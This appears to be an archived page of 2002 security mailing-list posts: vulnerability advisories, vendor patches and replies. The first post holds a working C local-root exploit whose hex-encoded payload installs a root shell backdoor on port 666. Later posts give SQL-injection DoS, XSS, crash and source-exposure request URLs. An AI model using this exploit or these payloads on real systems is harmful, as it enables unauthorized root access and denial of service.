Borland Interbase local root exploit

2002-09-25 Thread grazer

Hello,

I've found a bug in the Interbase gds_lock_mgr binary which is shipped
with all versions of the Sun Cobalt RAQ (XTR/4/550 etc.) and is suid by
default.

Borland did not respond to my emails. The exploit is attached.
Note: other bug than disclosed by snosoft some weeks ago.

Sincerely yours,

Wouter ter Maat aka grazer



// gds_lock_mgr easy local root compromise
// All cobalt Linux affected, and certain mandrake installations.
// Wouter ter Maat aka grazer - http://www.i-security.nl

#include 
#include 
#include 
#include 
#include 

#define BDPATH "/etc/xinetd.d/xinetdbd"
#define GDSBIN "/opt/interbase/bin/gds_lock_mgr"

int main() {

struct utsname buf;
char path[24], lnc[34];
 
FILE *fd;

/* check for a rootshell on port 666 after the machine has rebooted.
 * exploit written to work on a raq550 using xinetd
 */

char *hexbd = "\x73\x65\x72\x76\x69\x63\x65\x20\x78\x69\x6e\x65\x74\x64"
  "\x62\x64\n\x7b\n\x64\x69\x73\x61\x62\x6c\x65\x20\x3d\x20"
  "\x6e\x6f\n\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x20\x3d\x20\x36"
  "\x36\x36\n\x73\x6f\x63\x6b\x65\x74\x5f\x74\x79\x70\x65\x20"
  "\x3d\x20\x73\x74\x72\x65\x61\x6d\n\x77\x61\x69\x74\x20\x3d"
  "\x20\x6e\x6f\n\x75\x73\x65\x72\x20\x3d\x20\x72\x6f\x6f\x74"
  "\n\x73\x65\x72\x76\x65\x72\x20\x3d\x20\x2f\x62\x69\x6e\x2f"
  "\x73\x68\n\x73\x65\x72\x76\x65\x72\x5f\x61\x72\x67\x73\x20"
  "\x3d\x20\x2d\x69\n\x7d\n";

fprintf(stdout, "*** gds_lock_mgr local root exploit - grazer ***\n");

uname(&buf);
setenv("INTERBASE", "/tmp", 1); 
sprintf(path, "%s", "/tmp/isc_init1.");
strcat(path, buf.nodename);

chdir("/tmp");
umask(000);

sprintf(lnc, "ln %s -s %s", BDPATH, path);
system(lnc);

if(fd=fopen(GDSBIN, "r")) {
system(GDSBIN); close(fd); }
else {
fprintf(stderr, "%s not found...\n", GDSBIN); 
exit(0); }

if(fd=fopen(BDPATH, "w")) { 
fprintf(stderr," exploit succesfull...\n");
fprintf(fd, "%s", hexbd); close(fd);}
else {
fprintf(stderr, "exploit failed...\n"); 
exit(0); }

}




Re: Information Disclosure with Invision Board installation (fwd)

2002-09-25 Thread Ka

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Well, Gossi,

I agree with your standpoint. Some "project leaders"
easily turn into "project defenders" when one takes
a closer look at their project. .o)


So the advice for any server with "Invision Board" installed 
is to disable phpinfo() in the php startup file in addition
to setting safe-mode = On and perhaps specifying a special 
safe_mode_exec_dir.


- -- see /etc/php.ini --

; This directive allows you to disable certain functions for security reasons.
; It receives a comma-deliminated list of function names.  This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.
disable_functions = phpinfo

- --




Ka
- -- 
"It's the perfect time of day
to throw all your cares away"  Barenaked Ladies
http://www.khidr.net/users/ka/pgpkey.asc
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE9kaQf72vu22ltWBERAmZSAJ9zCkpzTzh0d/XQ7JmRtRU4eIQs9wCffao1
xBEznfgI7TidhIhG8wOJYF8=
=rUAX
-END PGP SIGNATURE-




Fwd: QuickTime for Windows ActiveX security advisory

2002-09-25 Thread Marc Bejarano

looks like you can now just update just the ActiveX control (as long as you 
have quicktime 3 or newer) instead of upgrading to quicktime 6.

marc
=
Date: Wed, 25 Sep 2002 09:59:46 -0700
Subject: QuickTime for Windows ActiveX security advisory
From: Ron Dumont <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
X-Mailer: Apple Mail (2.546)
X-MIME-Autoconverted: from quoted-printable to 8bit by lists.apple.com
   id g8PH0Wi18452
Sender: [EMAIL PROTECTED]
X-BeenThere: [EMAIL PROTECTED]
X-Mailman-Version: 2.0.13
List-Unsubscribe: 
,

List-Id: Product security notifications and announcements from Apple 

List-Post: 
List-Help: 
List-Subscribe: 
,


-BEGIN PGP SIGNED MESSAGE-

Apple Security Advisory APPLE-SA-2002-09-19

Overview

A buffer overflow exists in the ActiveX control distributed in Apple
QuickTime for Windows Version 5.0.2.  Any user who opens this control in
Microsoft Windows Internet Explorer or other affected Windows mail
clients is vulnerable to attack.

QuickTime versions for Mac OS X or Mac OS 9 are not vulnerable.


Recommendation

Users and web site administrators running the Windows operating system
should upgrade to the new version of the ActiveX control as soon as
possible.  This can be done by either downloading a new ActiveX control,
or updating to QuickTime 6 which contains a fixed version of the ActiveX
control.

ActiveX control only:
http://www.apple.com/quicktime/download/qtcheck/
This control will work with QuickTime version 3.0 and later.

QuickTime 6 (free update):  http://www.apple.com/QuickTime/download/


Common Vulnerabilities and Exposures (CVE) Information:

The Common Vulnerabilities and Exposures (CVE) project has assigned the
following identification to this issue.  These are candidates for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.

   CAN-2002-0376 Apple QuickTime ActiveX v5.0.2 Buffer Overrun


Description

QuickTime for Windows version 5.0.2 is distributed with an ActiveX
control to allow QuickTime movies to be played on versions on Microsoft
Windows Internet Explorer.  The ActiveX control for QuickTime for
Windows 5.0.2 has a buffer overflow vulnerability triggered by
insufficient input validation when parsing the "pluginspage" parameter.

This vulnerability can be exploited by a remote attacker who can induce
a victim to visit any web site with malicious code offering the
vulnerable code or executing a control already present on the victim's
computer.  Also affected are users who open HTML messages in Windows
mail clients that use Internet Explorer to render HTML and load ActiveX
controls (e.g., Outlook, Outlook Express, Eudora, etc).  Note that an
email attack would be rendered harmless if the end user email client
handled HTML mail in Internet Explorer's Restricted Sites Zone (say by
having applied the Outlook Email Security Update distributed by
Microsoft; Outlook Express 6 and Outlook 2002 handle mail in the
Restricted Site Zone by default).  Mail clients unable to render HTML or
that do not invoke Internet Explorer are unaffected.

All web content managers who support QuickTime technology and all
Windows users of Microsoft Internet Explorer are encouraged to upgrade
to the new ActiveX control or QuickTime Version 6.0 as soon as possible.


Solution

Either download the new ActiveX control by itself, or update to
QuickTime 6:

ActiveX control only:
http://www.apple.com/quicktime/download/qtcheck/
This control will work with QuickTime version 3.0 and later.

QuickTime 6 (free update):  http://www.apple.com/QuickTime/download/


Mitigating factors

* In the case of the web-based attack, an attacker would need to force a
user to visit the attackers Web site. Users who exercise caution in
visiting web sites could minimize their risk.

* In the web based attack, If ActiveX controls have been disabled in the
zone in which the page were viewed, the vulnerability could not be
exploited. Users who place untrusted sites in the Restricted Sites zone,
which disables ActiveX by default, or have disabled ActiveX controls in
the Internet zone could minimize their risk.

* In the case of HTML email based attacks, customers who read email in
the Restricted Sites zone would be protected against attempts to exploit
this vulnerability. Customers using Outlook 2002 and Outlook Express
6.0, as well as Outlook 2000 and Outlook 98 customers who have applied
the Outlook Email Security Update would thus be protected by default.
Also, Outlook Express 5.0 customers who have chosen to read mail in the
Restricted Sites zone would be protected by default.

* In the HTML email based attack, Outlook 2002 customers who have

PHP-Nuke x.x SQL Injection

2002-09-25 Thread Pedro Inacio



Hello,

All PHP-Nuke versions, including the just released 6.0, are vulnerable to a
very simple SQL injection that may lead to a basic DoS attack.

For instance, if you create a short script, to send a few requests, (I have
tested with just 6) similar to this:

http://www.nukesite.com/modules.php?name=News&file=article&sid=1234%20or%
201=1

after a real short time the load of the machine is so high that it will
become inacessible.
When the script is stopped, the server will take a few minutes to recover
from the load and become acessible again.

Well, the number of requests depends on your MySQL parameters and hardware,
but in general all the tested php-nuke sites where vulnerable and become
inacessible.

If you are running PHP-Nuke, I suggest the creation of some filters to 
avoid
this kind of attack.
Other things can be made, but I will not talk about them now. I will wait
until Francisco fix them.

Francisco was noticed a month ago, but the problems persist.
Maybe he is busy reading the new revision of the "Building Secure Web 
Applications and Web Services" OWASP document. :]

Cheers,

Pedro Inacio



Not a bug: IIL Advisory: Format String bug in Null Webmail (0.6.3)

2002-09-25 Thread Andrew Church
 As I was severely bitten by this issue lately, this caught my
interest, but the "bug" reported in this so-called advisory is in fact not
a bug at all.  Observe:

>int wmprintf(const char *format, ...)/* <--- INTERESTING FUNCTION */
>{
>   char buffer[1024];
>   va_list ap;
>
>   va_start(ap, format);
>   vsnprintf(buffer, sizeof(buffer)-1, format, ap); // <- INTERESTING 

 This does pass a (potentially) non-constant string as the format
string to vsnprintf(), but (at least from the examples provided) wmprintf()
is always called with a constant format string, so this isn't a problem.

>   va_end(ap); 
>   send(wmsocket, buffer, strlen(buffer), 0);

 If this were a *printf() call, then we'd have problems, but all it's
doing is writing the buffer to the socket--no formatting interpretation
involved.

 As an example, let's expand one of the calls, assuming the %s
parameter is "NASTY %sTRING":

>wmprintf("USER %s\r\n", wmusername);
--> wmprintf("USER %s\r\n", "NASTY %sTRING");

>int wmprintf(const char *format, ...)
>{
--> format == "USER %s\r\n"
>   char buffer[1024];
--> buffer == undefined
>   va_list ap;
--> ap == undefined
>
>   va_start(ap, format);
--> ap == &"NASTY %sTRING"
>   vsnprintf(buffer, sizeof(buffer)-1, format, ap); // <- INTERESTING 
--> buffer == "USER NASTY %sTRING\r\n"
>   va_end(ap); 
--> ap == undefined
>   send(wmsocket, buffer, strlen(buffer), 0);
--> send(wmsocket, "USER NASTY %sTRING\r\n", 20, 0);
>// logdata (">> %s", buffer);
--> logdata(">> %s", "USER NASTY %sTRING");
>   return 0;
>}

 The author is even careful enough to use logdata("%s",buffer) instead
of logdata(buffer), which is the careless mistake I made and had pointed
out to me.

 Nothing to see here, move along.

>==[ Example
>
>Can't test this bug!!!
>If I'm wrong about this format string bug in Null Webmail, I'm very sorry.

  --Andrew Church
[EMAIL PROTECTED]
http://achurch.org/


ECHU Alert #2: IMG Attack in the news : 6 CMS vulnerables

2002-09-25 Thread das


--
| IMG Attack in the news : 6 CMS vulnerables |
--


PROGRAM: XOOPS, PHP-NUKE, NPDS, daCode, Drupal, phpWebSite
VULNERABLE VERSIONS: I believe that all versions are vulnerables
IMMUNE VERSIONS: no immune current versions
SEVERITY: high


Tested version
==
Xoops RC3.0.4, PHP-Nuke 6.0, NPDS 4.8 SuperCache, daCode 1.2.0, Drupal 4.0.0 and 
phpWebSite 0.8.3


Description
 
After having sent ECHU alert on "Xoops RC3 script injection vulnerability" 
(http://www.echu.org/modules/news/article.php?storyid=95), I realize that it's not a 
XOOPS problem (Kazumi Ono, XOOPS Developper, and Jan304, XOOPS Dutch Support, 
confirmed this) but a html problem that is hard to fix and can be misuse in almost 
every cms.

The problem appears when a user post a news, a vulnerability exists in these CMS that 
allow a typical IMG attack against visitors :

 

In order to test this vulnerability, you can go on websites that use these CMS, post a 
news with this code and see the result.


The problem
=== 
A badly disposed member can propose a news containing code (for une news containing 
code sample of a new vulnerability for example) and if webmasters or moderators don't 
take care, they will approve the news.


Vendors status
==
XOOPS: It should be fix in futures versions
PHP-NUKE: No emails on the website so we can't contact them
NPDS: They have been contacted by Magistrat (http://www.blocus-zone.com/) and should 
fix it in futures versions
daCode: No emails on the website so we can't contact them
Drupal: No emails on the website so we can't contact them
phpWebSite: It should be fix in futures versions


Solution

There's no secure release of these CMS, so the unique solution is, at this moment, to 
disable Html, in each news post, to avoid the problem. The "removehack" from NPDS 
doesn't fix the problem even if NPDS team tell it does.


Links
=
XOOPS: http://www.xoops.org
PHP-NUKE: http://www.php-nuke.org
NPDS: http://www.npds.org
daCode: http://www.dacode.org
Drupal: http://www.drupal.org
phpWebSite: http://phpwebsite.appstate.edu
Blocus Advisory on NPDS: 
http://www.blocus-zone.com/modules/news/article.php?storyid=132


This vulnerability's orginal paper can be found here: 
http://www.echu.org/modules/news/article.php?storyid=97


David Suzanne (aka dAs)
[EMAIL PROTECTED]
http://www.echu.org 


-
ECHU.ORG is not responsible for the misuse of the information we 
provide through our security advisories. These advisories are a 
service to the professional security community. In no event shall 
ECHU.ORG be liable for any consequences whatsoever arising out of 
or in connection with the use or spread of this information.
-



Get your free encrypted email at https://www.hushmail.com



GLSA: tomcat

2002-09-25 Thread Daniel Ahlberg

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- - 
GENTOO LINUX SECURITY ANNOUNCEMENT
- - 

PACKAGE:tomcat
SUMMARY:source exposure
DATE   :2002-09-25 11:30 UTC

- - 

OVERVIEW

Tomcat 4.0.4 and 4.1.10 (probably all other earlier versions also) are 
vulnerable to
source code exposure by using the default servlet 
org.apache.catalina.servlets.DefaultServlet.

DETAIL

Let say you have valid URL like http://my.site/login.jsp, then an URL like
http://my.site/servlet/org.apache.catalina.servlets.DefaultServlet/login.jsp
will give you the source code of  the JSP page.

The full syntaxes of the exposure URL is:

http://{server}[:port]/[Context/]org.apache.catalina.servlets.DefaultServlet
/[context_relative_path/]file_name.jsp

More information can be found at:

http://online.securityfocus.com/archive/1/292936/2002-09-22/2002-09-28/0


SOLUTION

It is recommended that all Gentoo Linux users who are running
net-www/tomcat-4.04 and earlier update their systems
as follows:

emerge rsync
emerge tomcat
emerge clean

- - 
[EMAIL PROTECTED] - GnuPG key is available at www.gentoo.org/~aliz
- - 
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE9kaeOfT7nyhUpoZMRAjecAJwLLkCyj/iVWlRFN+1RrzR4oo9dlQCgi1PV
DTRyRrBXhKFbP7+ScPIx2A8=
=S0kw
-END PGP SIGNATURE-




OpenVMS POP server local vulnerability

2002-09-25 Thread Mike Riley

Akita Security Advisory 27/09/2002
OpenVMS UCX$POP_SERVER.EXE vulnerability

Advisory:
http://www.akita-security.co.uk/VMS/ucx_pop_server.txt

VMS security tool
http://www.akita-security.co.uk/stoat


Overview


UCX is the main TCP/IP stack for OpenVMS.  Akita Security have
discovered a vulnerability in every version of the UCX pop
server which allows a local user to overwrite any file on the
system with a 0 byte file.

Due to the popularity of UCX this problem will be widespread
amongst OpenVMS installations.

This issue was discovered as part of wider research into OpenVMS
security.  Many issues have been found, and further advisories
will be released shortly.

Detail
==

The UCX pop server binary, SYS$SYSTEM:UCX$POP_SERVER.EXE, is
installed with the VMS privileges BYPASS and SYSPRV:

INSTALL> list ucx$pop_server.exe /full

DISK$OPENVMS071:.EXE
   UCX$POP_SERVER;1   Prv
Entry access count = 1
Privileges = SYSPRV BYPASS

INSTALL>

The BYPASS privilege allows the pop server to override filesystem
permissions.  By use of the -logfile commandline switch, it is
possible to persuade the server to open a file anywhere, or to
truncate an existing file, as follows:



$ show process/privs

25-SEP-2002 10:47:35.02   User: MIKE Process ID:
013F
  Node: VAX  Process name:
"_TNA21:_1"

Authorized privileges:
 NETMBXTMPMBX

Process privileges:
 NETMBX   may create network device
 TMPMBX   may create temporary mailbox

Process rights:
 INTERACTIVE
 REMOTE

System rights:
 SYS$NODE_VAX
$
$ break_it :== $sys$system:ucx$pop_server.exe
$ break_it -logfile sys$system:I_SHOULDNT_BE_ABLE_TO_WRITE_HERE
19102-09-24 17:41:39 sizeof(block_wait_times) 160
19102-09-24 17:41:40 sizeof(struct vms_time_rec) 32
19102-09-24 17:41:40 num_elems 5
[SNIP]
^C
$ dir/prot sys$system:I_*

Directory SYS$SYSROOT:[SYSEXE]

I_SHOULDNT_BE_ABLE_TO_WRITE_HERE.;1
   insufficient privilege or object protection
violation

Total of 1 file.
$


The file created looks like this:


Directory SYS$SYSROOT:[SYSEXE]

I_SHOULDNT_BE_ABLE_TO_WRITE_HERE.;1   File ID:  (9499,485,0)
Size:0/0  Owner:[SYSTEM]
Created:   24-SEP-2002 17:41:41.14
Revised:   24-SEP-2002 17:41:57.09 (1)
Expires:   
Backup:
Effective: 
Recording: 
File organization:  Sequential
Shelved state:  Online
File attributes:Allocation: 0, Extend: 0, Global buffer count: 0
No version limit
Record format:  Stream_LF, maximum 0 bytes, longest 32767 bytes
Record attributes:  Carriage return carriage control
RMS attributes: None
Journaling enabled: None
File protection:System:RWED, Owner:RWED, Group:RE, World:
Access Cntrl List:  None

Total of 1 file, 0/0 blocks.
$


Severity


At the least, this bug could be used by a local user to destroy an
OpenVMS installation, or overwrite logfiles.  If a local user could
control the log output of the pop server it could probably be used
to gain full privileges, although this is speculation on our part.


Workaround
==

Remove world execute permissions for the pop server binary.

Vendor status
=

Akita Security informed Compaq of this vulnerability on 14/06/2002.
Compaq have released an ECO which corrects the problem:


ECO B 1-JUL-2002 Alpha and VAX

Problem:

Disable the "-logfile" command line switch, which is not needed on
OpenVMS.

Deliverables:

TCPIP$POP_SERVER.EXE V5.3-18B

Reference:

Internal testing.


Please note the lack of reference to a security problem, and the
lack of credit to Akita Security.  Internal testing ?

Credit
==

This issue was discovered by [EMAIL PROTECTED]



--
Mike Riley - Security Systems manager @ Akita
http://www.akita-security.co.uk

Sales: T:+44(0)1869 320111 F: +44(0)1869250688 E: [EMAIL PROTECTED]
Tech: T: +44(0)1869 320111 E: [EMAIL PROTECTED]

"Security, performance, cost - pick two"







IIL Advisory: Vulnerabilities in acWEB HTTP server

2002-09-25 Thread DownBload




[ Illegal Instruction Labs Advisory ]
[-]
Advisory name: Vulnerabilities in acWEB HTTP server
Advisory number: 13
Application: acWEB HTTP server
Author e-mail: [EMAIL PROTECTED]
Homepage: somewhere on sourceforge
Date: 10.09.2002
Impact: DoS, XSS, etc.
Tested on: Windows 98
Discovered by: DownBload
Mail me @: [EMAIL PROTECTED]




==[ Overview 

Sourceforge: "acWEB is an OpenSource replacement for MS IIS and other 
proprietary WEB servers for Windows. Unlike IIS, acWEB is not affected by 
viruses like CodeRed, Nimda, etc :)."

/ME says: acWEB is simple HTTP server for Windows. It is perfect for tiny 
companies, and for home use.




==[ Problem(s)  

===[ Remote DoS
First vulnerability which I discovered in acWEB HTTP server was remote DoS.
It is possible to crush acWEB (and Windows too) with simple HTTP request:
---cut here---
http://www.victim.com/com2.bat 
---cut here---


===[ XSS a.k.a CSS bug
XSS code execution:
---cut here---
http://www.victim.com/%db/
---cut here---


===[ Fake file download
---cut here---
http://www.victim.com/|%5chacked.txt%00
---cut here---

When this request it sent to acWEB HTTP server, acWEB will return:
---
HTTP/1.0 200 OK
Content-Length: 0
Connection: Close
Content-Type: application/octet-stream
Server: Eserv/3.x

---
That is fuqn weird, because file 'hacked.txt' don't exist. acWEB HTTP 
server will
send us 'hacked.txt' empty file to download. 




==[ Exploit

This can be exploited with browser, so I won't write exploit for this...or 
maybe one day :).




==[ Greetz 

Greetz goes to #hr.hackers, #ii-labs and #linux . 
Special greetz goes to (rand()): St0rm, BoyScout, h4z4rd, finis, Sunnis, 
Fr1c, phreax, LekaMan, StYx, harlequin, Astral and www.active-security.org 
(NetZero & Paradox). I'm very sorry if I forgot someone.



Re: Information Disclosure with Invision Board installation (fwd)

2002-09-25 Thread Gossi The Dog


Well, the developers have responded;

http://forums.invisionboard.com/index.php?act=ST&f=30&t=23569

>From Matt, "IBF Project Leader"

- snip -

"Whilst disclosing phpinfo.php to the world does expose installed modules, 
paths and such - it's hardly the biggest security risk.

Any PHP script that fails tells the viewer the full path to the script, as 
does perl/CGI, etc.

The information that phpinfo.php provides about the server can be got by a 
simple desktop application as the information is quite freely distributed 
(the basic idea of web protocols).

FYI, we only set the SSL server up to test a few ideas, we use a merchant 
account to process our credit card orders - they are not processed on our 
server.

Edit:

I've set up [EMAIL PROTECTED], so I will actually get the email 
this time rather than it be eaten up in our system.

I guess if this is the only "security" breach they can find with Invision 
Board, we're doing well  "

"I didn't receive any email, this is the first I've heard about it - my 
email address is readily available and my signature says that I'm the lead 
developer and should be the first point of contact in this case.

To make it easier, I've set up [EMAIL PROTECTED] - all of our 
unrouted mail is pretty much forwarded to dev/null because of the 
different systems we have tied into our mail system (and to reduce the 
amazing level of spam we get).

Yes, phpinfo.php discloses the server environment - but not a great deal 
more than one could find out by other means.

My point being, there is no need for a full scale panic over this. The 
phpinfo.php file has been distributed with Invision Board since day 1 and 
I've not heard of anyone having their server hacked over it.

I'll probably remove it in future releases to appease the over paranoid. 
"

- snip -

Quite honestly, this is a bit worrying.  "Matt" seems to think that people 
can remotely obtain this kind of information due to the "the basic web 
protocols" without phpinfo.  This is complete rubbish.  Disclosing 
application paths on servers, PHP setup... etc is very much not possible 
via "basic web protocols".

If people are clued up enough to understand why this is a problem, I would 
suggest they mail their concerns to [EMAIL PROTECTED]

Regards,
Gossi.


On Tue, 24 Sep 2002, Gossi The Dog wrote:

> 
> Since the vendors didn't bother to respond, I might as well forward this 
> on.
> 
> Basic jizt - Invision Board (all version) - installation guide copies 
> across phpinfo.php, a file which calls phpinfo().
> 
> Example;
> http://blahblahblah.corp.com/phpinfo.php
> 
> (just do a search on Google for "Invision Board" and append phpinfo.php to 
> the URL).
> 
> Why is this bad?  Well, duh.  It gives you system varibles, path names, 
> modules of apache, PHP setup, Apache module version numbers etc etc.
> 
> Note to vendors: please reply to security mail in the future.
> 
> #phrack whore
> 
> -- Forwarded message --
> Date: Mon, 23 Sep 2002 20:31:41 +0100 (BST)
> From: Gossi The Dog <[EMAIL PROTECTED]>
> To: [EMAIL PROTECTED]
> Cc: [EMAIL PROTECTED], [EMAIL PROTECTED]
> Subject: Information Disclosure with Invision Board installation
> 
> 
> Hi,
> 
> Okay, how to explain this one...
> 
> The installation procedure for Invision Board advises to upload various 
> files and directorys.  One of these is 'phpinfo.php'.
> 
> Now, I'm sorry, but this is dumb.
> 
> Why?
> 
> Example.
> 
> http://forums.invisionboard.com/phpinfo.php
> 
> I can now tell you don't have PHP Safe mode installed, exactly what Apache 
> modules you have loaded, your full Apache SERVER_SOFTWARE (Apache/1.3.26 
> (Unix) mod_bwlimited/1.0 PHP/4.2.1 mod_log_bytes/0.3 FrontPage/5.0.2.2510 
> mod_ssl/2.8.9 OpenSSL/0.9.6b)...
> 
> etc.
> 
> 
> PHP modules, settings, system variables...  They're all out there.  Also, 
> note, your OpenSSL version is out of date and fully remotely exploitable 
> (I managed to obtain that from phpinfo.php - you had it hidden before, but 
> phpinfo.php discloses this information).
> 
> Do you agree this is a problem?
> 
> You need to modify the installation guide to say this file should *only* 
> be uploaded for diagnoises and debugging reasons, and possible move it to 
> a different folder (eg debug) to stop people uploading it by accident.  
> People also need to be reminded to *remove* the file if they upload it for 
> debugging purposes after they finish.
> 
> You also need to notify existing users of the software about the file.
> 
> I did a quick Google search for "Invision Board", and every single one of 
> the boards I tried (About 50) had the file.  Oops.
> 
> I'm planning to do some kind of bugtraq announcement after I've got a plan 
> of action from yourselves (and I've given you a decent grace period), 
> basically to make sure as many people as possible remove the file.
> 
> 
> Thanks muchly,
> 
> Gossi The D

IIL Advisory: Format String bug in Null Webmail (0.6.3)

2002-09-25 Thread DownBload




 [ Illegal Instruction Labs Advisory ]
[-]
Advisory name: Format String bug in Null Webmail (0.6.3)
Advisory number: 7
Application: Null Webmail 0.6.3
Author: Dan Cahill
E-mail: [EMAIL PROTECTED]
Homepage: http://http://www.nulllogic.com/webmail/
Date: 1.07.2002
Impact: I don't know (yet)
Tested on: nowhere
Discovered by: DownBload
Mail me @: [EMAIL PROTECTED]




==[ Overview

Null Webmail is CGI interface to SMTP & POP3 server (you can read and 
send mail with your browser). It is written in C. You can find Null 
Webmail on sourceforge.




==[ Problem 

Null Webmail has format string bug in logdata() and wmprintf(), but
logdata() is inside /* */, so logdata() isn't interesting to us. 

Here comes the buggy code:

---[ wmserver.c
...
/*
void logdata(const char *format, ...)  /* <--- NOT INTERESTING */
{
char logbuffer[1024];
char file[200];
va_list ap;
FILE *fp;

#ifdef WIN32
snprintf(file, sizeof(file)-1, "C:\\webmail.log");
#else
snprintf(file, sizeof(file)-1, "/tmp/webmail.log");
#endif
fp=fopen(file, "a");
if (fp!=NULL) {
va_start(ap, format);
vsnprintf(logbuffer, sizeof(logbuffer)-1, format, ap);
va_end(ap);
fprintf(fp, "%s", logbuffer);
fclose(fp);
}
}
*/


int wmprintf(const char *format, ...)/* <--- INTERESTING FUNCTION */
{
char buffer[1024];
va_list ap;

va_start(ap, format);
vsnprintf(buffer, sizeof(buffer)-1, format, ap); // <- INTERESTING 
va_end(ap); 
send(wmsocket, buffer, strlen(buffer), 0);
//  logdata (">> %s", buffer);
return 0;
}
...

---[ call wmprinf() 

...
wmprintf("USER %s\r\n", wmusername);
...
wmprintf("PASS %s\r\n", wmpassword);
...
wmprintf("MAIL From: %s\r\n", ptemp);  
...
wmprintf("RCPT To: <%s>\r\n", msgaddr);
...
wmprintf("From: %s\r\n", wmaddress);
wmprintf("To: %s\r\n", msgto);
...
wmprintf("Subject: %s\r\n", msgsubject);
...
etc.

Here we have few wmprintf() calls, and I think that we can put our 
'NASTY %sTRING' in all that variables :).




==[ Example

Can't test this bug!!!
If I'm wrong about this format string bug in Null Webmail, I'm very sorry.




==[ Greetz 

Greetz goes to #hr.hackers & #linux . 
Special greetz goes to (rand()): St0rm, BoyScout, h4z4rd, fi, Sunnis, Fr1c,
phreax, harlequin, LekaMan, Astral and www.active-security.org (NetZero & 
Paradox).



Shana Informed 3.05 information disclosure

2002-09-25 Thread sullo

Shana Informed v3.05 stores random data in clear text 
http://www.cirt.net/advisories/shana.shtml

Product Description:
Shana Corporation provides eForm solutions and is the developer of Informed. 
Their solution is used by more than two million people around the world. 
Shana's Informed has been chosen by a wide range of organizations in more 
than 65 countries worldwide. Shana's customer base spans many industries, 
notably the Aerospace and Digital Government sectors. Shana has strategic 
technology partnerships with a number of companies, including FileNET 
Corporation and Entrust Technologies. Other partners include Apple Computer, 
EDS, Microsoft, NCR, Oracle, and Sierra. 

Event Description:
Shana's Informed product accesses information from disk and pads it into the 
Informed document. When an Informed document is opened with a hex editor or 
Microsoft's Wordpad sensitive information may be stored in the clear at the very 
bottom of the file. The information stored in the clear has been identified to have 
come from other documents on a user's workstation has well as clear-text data 
from the actual Informed file as well.

Risk Explanation: 
The Informed files may contain sensitive personal or corporate information that 
can be viewed by anyone has access to the encrypted file.

Applications Affected:
Informed Filler v3.05
Informed Designer v3.05.

Solution:
Upgrade to Shana's Informed Filler and Informed Designer release 4.0.

Timeline: 
*   The problem was reported to Shana via E-Mail on Saturday, June 29th 2002 
4:20pm. 
*   A response from Shana was received on July 1st explaining that the 
information had been passed on to the development team for evaluation. 
*   A follow-up was sent to Shana via E-Mail on Sunday, July 21st 2002 12:38pm 
again requesting timeframes for addressing the security issue. 
*   A response acknowling the problema and detailing a fix was received on 
Tuesday, July 23 2002 12:55pm. 

Vendor Status:
Response: "Thank-you for bringing this issue to our attention. We have fixed the 
issue in our newest release 4.0. Some file space allocation growth functions 
were not "zeroing" out new disc space as the file grew. Unused blocks were 
being captured into the form data, along with any data that may have resided on 
that location of the drive. The complete file growth areas are now made null to 
avoid any unwanted data from being captured. It may be worth noting that this 
does not occur in Windows XP, as the operating system takes better care of this 
on its own."

Contacts:
[EMAIL PROTECTED]*


*(note that this message was sent on behalf of [EMAIL PROTECTED])





RE: JSP source code exposure in Tomcat 4.x

2002-09-25 Thread Martin Robson


No your best bet is to comment out the following line (and no it won't
be all on one line) from your web.xml file then schedule to upgrade to
Tomcat 4.1.12 Stable or Tomcat 4.0.5.

 invoker
/servlet/*  

The Jakarta Team has already posted a response to this bug, it can be
viewed here: http://jakarta.apache.org/site/news.html

--
Martin Robson
Radial Software Development Inc.
Direct - (604) 868-1503
Main - (604) 692-5971
[EMAIL PROTECTED]
 
http://www.radialsoftware.com
 


-Original Message-
From: Marcin Jackowski [mailto:[EMAIL PROTECTED]] 
Sent: Tuesday, September 24, 2002 12:30 PM
To: [EMAIL PROTECTED]
Subject: Re: JSP source code exposure in Tomcat 4.x


[...]
> 
>   3.2 Workaround:
[...]

Quicker (brute) method - remove completely
$TOMCAT_HOME/server/lib/servlets-default.jar.
The server complains but applications seem to work correctly (unless
you're using it).

Stated for Tomcat version 4.0.1, 4.0.4 and 4.1.10.

Marcin Jackowski






[RHSA-2002:060-17] Updated Zope packages are available

2002-09-25 Thread bugzilla

-
   Red Hat, Inc. Red Hat Security Advisory

Synopsis:  Updated Zope packages are available
Advisory ID:   RHSA-2002:060-17
Issue date:2002-04-11
Updated on:2002-09-24
Product:   Red Hat Powertools
Keywords:  zope security check proxy role hotfix
Cross references:  
Obsoletes: RHSA-2001:115
CVE Names: CAN-2002-0170 CAN-2002-0687 CAN-2002-0688
-

1. Topic:

Updated Zope packages are available which fix a number of security issues

2. Relevant releases/architectures:

Red Hat Powertools 7.0 - alpha, i386
Red Hat Powertools 7.1 - alpha, i386

3. Problem description:

Zope is a python-based application server.  A number of security hotfixes
have been made available for Zope:

The "through the web code" capability for Zope 2.0 through 2.5.1 b1
allows untrusted users to shut down the Zope server via certain
headers. (CAN-2002-0687)

ZCatalog plug-in index support capability for Zope 2.4.0 through 2.5.1
allows anonymous users and untrusted code to bypass access
restrictions and call arbitrary methods of catalog indexes. (CAN-2002-0688)

Zope 2.2.0 through 2.5.1 does not properly verify the access for objects
with proxy roles, which could allow some users to access documents in
violation of the intended configuration. (CAN-2002-0170)

Users should upgrade to these errata packages that have the Zope 
Hotfixes 2002-03-01, 2002-04-15, and 2002-06-14 applied, and are therefore
not vulnerable to these issues.

4. Solution:

Before applying this update, make sure all previously released errata
relevant to your system have been applied.

To update all RPMs for your particular architecture, run:

rpm -Fvh [filenames]

where [filenames] is a list of the RPMs you wish to upgrade.  Only those
RPMs which are currently installed will be updated.  Those RPMs which are
not installed but included in the list will not be updated.  Note that you
can also use wildcards (*.rpm) if your current directory *only* contains the
desired RPMs.

Please note that this update is also available via Red Hat Network.  Many
people find this an easier way to apply updates.  To use Red Hat Network,
launch the Red Hat Update Agent with the following command:

up2date

This will start an interactive process that will result in the appropriate
RPMs being upgraded on your system.

5. RPMs required:

Red Hat Powertools 7.0:

SRPMS:
